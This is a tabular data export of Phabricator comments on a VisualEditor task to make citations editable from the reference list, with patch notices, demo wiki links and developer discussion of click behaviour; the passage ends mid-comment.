2177866,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Change 950231 had a related patch set uploaded (by Novem Linguae; author: Novem Linguae):
%%%[mediawiki/extensions/Cite@master] Don't warn that reference list is uneditable%%%
https://gerrit.wikimedia.org/r/950231",,,1692416810,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,528,,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,21.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,8.0,3.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,4.256410256410256,0.8461538461538461,"Change 950231 had a related patch set uploaded (by Novem Linguae; author: Novem Linguae):
%%%[mediawiki/extensions/Cite@master] Don't warn that reference list is uneditable%%%
GERRIT_URL"
2136952,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki on [[ https://patchdemo.wmflabs.org | Patch demo ]]  by ESanders (WMF) using patch(es) linked to this task was **deleted**:

~~[[ https://patchdemo.wmflabs.org/wikis/e045f72283/w/ ]]~~",,,1686069577,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,518,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,2.58974358974359,0.6923076923076923,"Test wiki on [[ URL | Patch demo ]]  by ESanders (WMF) using patch(es) linked to this task was **deleted**:

~~[[ URL ]]~~"
2131130,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"> Citations and footnotes can now be edited directly in the references section using VisualEditor.

I wouldn't describe it like this (which I think is how the wish was described). You can't edit the citations in-place, like you can a image caption, but you can launch the editing dialog for each reference from the list. Maybe:

> Citation and footnote editing can now be started from the reference list when using the visual editor.

The changes are in wmf10 which is on mediawiki.org (e.g. https://www.mediawiki.org/w/index.php?title=Composer&veaction=edit&section=10) and would already be on Wikipedias but for the train being blocked at the moment (T330216).

There is no documentation at the moment, just the text description.",,,1685118600,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,516,,0.5,0.0,0.0,1.5,1.0,0.0,3.5,0.0,0.0,0.0,2.5,1.0,0.0,0.0,1.0,1.0,0.0,5.5,8.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.5,1.0,4.0,0.5,0.5,0.0,1.5,0.0,0.5,0.5,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,7.5,6.0,9.0,0.5,2.5,11.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,3.0,8.5,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,1.0,3.803921568627451,0.7941176470588235,"QUOTE

I wouldn't describe it like this (which I think is how the wish was described). You can't edit the citations in-place, like you can a image caption, but you can launch the editing dialog for each reference from the list. Maybe:

QUOTE

The changes are in wmf10 which is on mediawiki.org (e.g. URL and would already be on Wikipedias but for the train being blocked at the moment (T330216).

There is no documentation at the moment, just the text description."
2130614,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"For Tech News, please confirm if this is an accurate summary, below? 
> Citations and footnotes can now be edited directly in the references section using VisualEditor. This feature request was voted #2 in the 2023 Community Wishlist Survey.
And confirm the timing: Will it be on the deployment train next week, or live on Monday, or other/later?
And is there a documentation page that it should link to, or just plaintext? 
Thanks.",,,1685048120,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,516,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,14.0,3.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,3.0,10.0,5.0,5.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.5238095238095237,0.7301587301587301,"For Tech News, please confirm if this is an accurate summary, below? 
QUOTE
And confirm the timing: Will it be on the deployment train next week, or live on Monday, or other/later?
And is there a documentation page that it should link to, or just plaintext? 
Thanks."
2128263,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Change 922153 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Cite@master] Fix ref list click-to-edit on mobile%%%
https://gerrit.wikimedia.org/r/922153",,,1684782321,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,516,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.4,0.7428571428571429,"Change 922153 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Cite@master] Fix ref list click-to-edit on mobile%%%
GERRIT_URL"
2128200,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Change 922153 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[mediawiki/extensions/Cite@master] Fix ref list click-to-edit on mobile%%%
https://gerrit.wikimedia.org/r/922153",,,1684776138,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,516,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,3.871794871794872,0.8461538461538461,"Change 922153 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[mediawiki/extensions/Cite@master] Fix ref list click-to-edit on mobile%%%
GERRIT_URL"
2125297,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Change 903311 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Cite@master] Launch reference editors from ve.ce.MWReferencesListNode%%%
https://gerrit.wikimedia.org/r/903311",,,1684340605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,515,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.375,0.78125,"Change 903311 **merged** by jenkins-bot:
%%%[mediawiki/extensions/Cite@master] Launch reference editors from ve.ce.MWReferencesListNode%%%
GERRIT_URL"
2125015,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,This will also supersede T54736 and T183170.,,,1684327960,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,515,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,This will also supersede T54736 and T183170.
2115937,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by ESanders (WMF) using patch(es) linked to this task:
https://patchdemo.wmflabs.org/wikis/e045f72283/wiki/Douglas_Adams?veaction=edit",,,1683044836,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,513,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,2.838709677419355,0.7741935483870968,"Test wiki **created** on [[ URL | Patch demo ]] by ESanders (WMF) using patch(es) linked to this task:
URL"
2115933,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki on [[ https://patchdemo.wmflabs.org | Patch demo ]]  by ESanders (WMF) using patch(es) linked to this task was **deleted**:

~~[[ https://patchdemo.wmflabs.org/wikis/6247694800/w/ ]]~~",,,1683044705,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,513,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,2.58974358974359,0.6923076923076923,"Test wiki on [[ URL | Patch demo ]]  by ESanders (WMF) using patch(es) linked to this task was **deleted**:

~~[[ URL ]]~~"
2115914,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by ESanders (WMF) using patch(es) linked to this task:
https://patchdemo.wmflabs.org/wikis/6247694800/wiki/Douglas_Adams?veaction=edit",,,1683043472,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,513,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,2.838709677419355,0.7741935483870968,"Test wiki **created** on [[ URL | Patch demo ]] by ESanders (WMF) using patch(es) linked to this task:
URL"
2115913,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki on [[ https://patchdemo.wmflabs.org | Patch demo ]]  by ESanders (WMF) using patch(es) linked to this task was **deleted**:

~~[[ https://patchdemo.wmflabs.org/wikis/0f949bd767/w/ ]]~~",,,1683043303,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,513,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,2.58974358974359,0.6923076923076923,"Test wiki on [[ URL | Patch demo ]]  by ESanders (WMF) using patch(es) linked to this task was **deleted**:

~~[[ URL ]]~~"
2114204,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Test wiki **created** on [[ https://patchdemo.wmflabs.org | Patch demo ]] by ESanders (WMF) using patch(es) linked to this task:
https://patchdemo.wmflabs.org/wikis/0f949bd767/wiki/Douglas Adams?veaction=edit",,,1682683909,,PHID-USER-jab5bp3ivtzmobfdxoa7,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,512,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.1470588235294117,0.7941176470588235,"Test wiki **created** on [[ URL | Patch demo ]] by ESanders (WMF) using patch(es) linked to this task:
URL Adams?veaction=edit"
2098030,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Currently it works like that (both in Chrome and FF):

| 1. before click | 2. first click | 3. second click |
| {F36934541} | {F36934544} | {F36934546} |

So first click could just change highlighted ref. That would work similar to tables and templates I guess.

> but there is nothing to show after a single click (or any other interaction to be had, e.g. drag/drop).

You could always show an edit button like with templates.",,,1680201324,,PHID-USER-awklupbdn3wr6glu7nyx,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,508,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,1.0,0.0,3.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,14.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,4.0,8.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5128205128205128,0.6538461538461539,"Currently it works like that (both in Chrome and FF):

| 1. before click | 2. first click | 3. second click |
| {F36934541} | {F36934544} | {F36934546} |

So first click could just change highlighted ref. That would work similar to tables and templates I guess.

QUOTE

You could always show an edit button like with templates."
2097829,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"> Looks quite promising :-). One note: at the moment in the demo, after saving the changes, the script jumps to the link in the article. If it's not obvious, I think it would be good to stay where you started...

Yes - this will require some more upstream changes to fix.

> I assume 1st click should only select as with other templates

These aren't real focusable templates, it's just a CSS hover and JS click handler. It could be changed to double click, but there is nothing to show after a single click (or any other interaction to be had, e.g. drag/drop).

We have previously implemented this single click -> dialog interaction with the categories list.",,,1680189296,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,508,,2.0,0.0,0.0,2.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,7.0,8.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,5.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,1.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,9.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,4.0,8.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,3.9176470588235293,0.7529411764705882,"QUOTE

Yes - this will require some more upstream changes to fix.

QUOTE

These aren't real focusable templates, it's just a CSS hover and JS click handler. It could be changed to double click, but there is nothing to show after a single click (or any other interaction to be had, e.g. drag/drop).

We have previously implemented this single click -> dialog interaction with the categories list."
2097786,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"> Looks quite promising :-). One note: at the moment in the demo, after saving the changes, the script jumps to the link in the article. If it's not obvious, I think it would be good to stay where you started...

Yes - this will require some more upstream changes to fix.

> I assume 1st click should only select as with other templates

These aren't real focusable templates, it's just a CSS hover and JS click handler. It could be changed to double click, but there is nothing to show after a single click (or any other interaction to be had, e.g. drag/drop).",,,1680187061,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,508,,3.0,0.0,0.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,7.0,7.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,4.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,10.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,3.0,7.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,3.6470588235294117,0.7941176470588235,"QUOTE

Yes - this will require some more upstream changes to fix.

QUOTE

These aren't real focusable templates, it's just a CSS hover and JS click handler. It could be changed to double click, but there is nothing to show after a single click (or any other interaction to be had, e.g. drag/drop)."
2095495,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"> WIP UI: https://patchdemo.wmflabs.org/wikis/6689bcdde2/wiki/Douglas_Adams?veaction=edit&section=26

Looks quite promising :-). One note: at the moment in the demo, after saving the changes, the script jumps to the link in the article. If it's not obvious, I think it would be good to stay where you started...

Hm... And I think double click is not working correctly. When I click [64] and then click [66] the edit window opens. I assume 1st click should only select as with other templates. I assume that is part of the WIP, but reporting just to be sure :)",,,1679967370,,PHID-USER-awklupbdn3wr6glu7nyx,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,508,,0.0,0.0,0.0,0.0,1.5,4.5,1.5,0.0,0.0,0.5,2.0,0.0,0.0,1.0,0.0,4.0,0.0,7.0,7.0,0.0,1.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,8.5,4.0,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,7.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,2.0,0.0,2.5,0.0,0.0,0.0,5.0,3.5,9.0,2.0,2.5,6.0,0.0,1.5,0.0,0.0,5.5,0.0,2.5,0.0,5.5,7.0,2.0,0.0,0.0,0.0,5.5,0.0,1.5,0.0,0.0,2.5,0.0,0.0,2.0,3.509259259259259,0.7592592592592593,"QUOTE

Looks quite promising :-). One note: at the moment in the demo, after saving the changes, the script jumps to the link in the article. If it's not obvious, I think it would be good to stay where you started...

Hm... And I think double click is not working correctly. When I click [64] and then click [66] the edit window opens. I assume 1st click should only select as with other templates. I assume that is part of the WIP, but reporting just to be sure :)"
2095396,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,Esanders is a god,,,1679953834,,PHID-USER-2xdbwtk2vlfbk2k6hhbh,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,508,,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Esanders is a god
2095195,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,WIP UI: https://patchdemo.wmflabs.org/wikis/6689bcdde2/wiki/Douglas_Adams?veaction=edit&section=26,,,1679937874,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,True,,,508,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,75.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,75.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.25,1.0,WIP UI: URL
2095193,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,"Change 903311 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[mediawiki/extensions/Cite@master] Launch reference editors from ve.ce.MWReferencesListNode%%%
https://gerrit.wikimedia.org/r/903311",,,1679937793,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wvw2grcusq5k2ipkgxi4,task_subcomment,,True,c1,3,False,,,508,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,4.777777777777778,0.8611111111111112,"Change 903311 had a related patch set uploaded (by Esanders; author: Esanders):
%%%[mediawiki/extensions/Cite@master] Launch reference editors from ve.ce.MWReferencesListNode%%%
GERRIT_URL"
2094967,VisualEditor: Make each reference editable where it appears in the reference list as well as on the edit surface,">>! In T54750#8727283, @Whatamidoing-WMF wrote:
> Once it becomes possible to edit `<references />`, will editing through `{{reflist}}` require rich editing of templates?

Probably not – we already have a special-case support for templates that generate a reflist. Since we already treat it like a ""real"" references list, any new features should work here as well. For example, note how in https://en.wikipedia.org/wiki/Holcocera_immaculella?veaction=edit (random article) the references are labelled like this: {F36929304} …and not like this: {F36929306} …despite being generated from a `{{Reflist}}` markup.

----

However, supporting references defined using `{{reflist|refs= ... }}` would require rich editing of templates. For example <https://en.wikipedia.org/wiki/Bali#cite_ref-Foley_128-0>. We already detect those and disable editing in visual mode, and presumably something similar woul happen inside this new feature: 